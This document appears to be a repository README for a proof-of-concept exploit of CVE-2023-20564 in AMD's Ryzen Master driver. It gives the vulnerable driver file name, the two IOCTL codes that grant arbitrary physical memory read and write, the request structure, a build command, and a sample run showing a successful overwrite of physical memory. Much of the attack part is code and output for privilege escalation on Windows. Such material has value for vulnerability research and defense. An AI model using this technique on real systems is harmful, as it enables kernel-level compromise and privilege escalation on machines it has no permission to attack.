
Proof-of-concept exploit for CVE-2023-20564 demonstrating arbitrary physical memory read/write via AMD Ryzen Master Driver IOCTL handlers, enabling privilege escalation on Windows.
This repository contains a Proof of Concept (PoC) demonstrating the vulnerability CVE-2023-20564 in AMD Ryzen Master Driver. The vulnerability allows unprivileged users to read and write arbitrary physical memory, leading to potential privilege escalation and system compromise.
The AMD Ryzen Master driver (AMDRyzenMasterDriverV17.sys) contains insufficient validation in its IOCTL handlers, specifically:
0x81112F08 - Allows reading arbitrary physical memory0x81112F0C - Allows writing arbitrary physical memoryThe driver fails to properly validate:
This allows malicious applications to:
AMDRyzenMasterDriverV17.sys - The vulnerable driver file# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Physical address to read
LARGE_INTEGER SizeAndData; // Size and data buffer
CHAR Buffer[1]; // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() - Read from physical memoryWritePhysicalMemory() - Write to physical memoryTestReadWriteVerify() - Complete test sequenceInstallDriverService() - Driver installationStopAndRemoveDriverService() - Driver cleanup===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully
[*] Initializing driver connection...
[+] Driver connection established successfully
[!] TESTING READ/WRITE/VERIFY SEQUENCE
[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Read 8 bytes from 0x100000
Data: 4D 5A 90 00 03 00 00 00
[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
Wrote 8 bytes to 0x100000
[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Data: DE AD BE EF CA FE BA BE
[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!
The vulnerable driver exposes two main IOCTLs:
Physical Memory Read (0x81112F08)
Physical Memory Write (0x81112F0C)
Remember: This tool is for authorized security testing only. Always obtain proper permission before testing on any system.